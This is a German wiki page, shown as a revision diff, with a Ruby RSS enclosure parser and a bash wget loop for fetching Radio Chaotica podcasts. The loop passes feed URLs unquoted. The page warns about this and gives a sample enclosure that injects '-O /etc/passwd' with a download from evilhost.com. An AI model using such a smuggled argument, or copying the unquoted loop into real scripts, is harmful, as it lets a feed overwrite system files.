Podcast-fetching: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
Conny (Diskussion | Beiträge) K (Benutzer:Astro/Podcast-fetching wurde nach Podcast-fetching verschoben) |
Astro (Diskussion | Beiträge) K (Syntax highlightning) |
||
Zeile 1: | Zeile 1: | ||
Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt. | Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Office2/Netz#aromaster|Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt. | ||
==podcast-enclosures.rb== | ==podcast-enclosures.rb== | ||
< | <source lang="ruby">#!/usr/bin/env ruby | ||
require 'rexml/document' | require 'rexml/document' | ||
if ARGV.size != 1 | if ARGV.size != 1 | ||
Zeile 10: | Zeile 10: | ||
REXML::Document.new(file).root.each_element("//enclosure") { |e| | REXML::Document.new(file).root.each_element("//enclosure") { |e| | ||
puts e.attributes['url'] | puts e.attributes['url'] | ||
}</ | }</source> | ||
==fetch_radiochaotica.sh== | ==fetch_radiochaotica.sh== | ||
< | <source lang="bash">#!/usr/bin/env bash | ||
WGETFLAGS='-c' | WGETFLAGS='-c' | ||
cd /home/astro/public_html/radiochaotica/ | cd /home/astro/public_html/radiochaotica/ | ||
Zeile 19: | Zeile 19: | ||
wget $WGETFLAGS $url | wget $WGETFLAGS $url | ||
done | done | ||
rm radiochaotica.rss</ | rm radiochaotica.rss</source> | ||
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.: | Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.: | ||
< | <source lang="xml"><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></source> | ||
[[Kategorie:Ruby]] | |||
{{Rübÿ Spëëd Mëtäl Cödïng}} | {{Rübÿ Spëëd Mëtäl Cödïng}} |
Aktuelle Version vom 5. Juni 2007, 12:24 Uhr
Damit im Office2 keine Bandbreite verschenkt wird, während niemand da ist, soll Aromaster ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.
podcast-enclosures.rb
#!/usr/bin/env ruby
require 'rexml/document'
if ARGV.size != 1
puts "Usage: #{$0} <podcast.rss>"
exit
end
file = File.new(ARGV[0])
REXML::Document.new(file).root.each_element("//enclosure") { |e|
puts e.attributes['url']
}
fetch_radiochaotica.sh
#!/usr/bin/env bash
WGETFLAGS='-c'
cd /home/astro/public_html/radiochaotica/
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do
wget $WGETFLAGS $url
done
rm radiochaotica.rss
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:
<enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" />
Rübÿ Spëëd Mëtäl Cödïng
Projects: CacaANSICam | Date Determinator | DVB-Scraping | Filmnächte-Scraping | GeeKal | Gruntmaster | Harvester | Hirn | Irb | Jargon-File | Ruby-MediaWiki | Miniwebserver | Momomoto | Pentabarf | Podcast-fetching | Ruby | Ruby-Geekend | Ruby und Ruby on Rails | Sedusa | VDS-Badges | Xmotoctl | Youtube-Scraping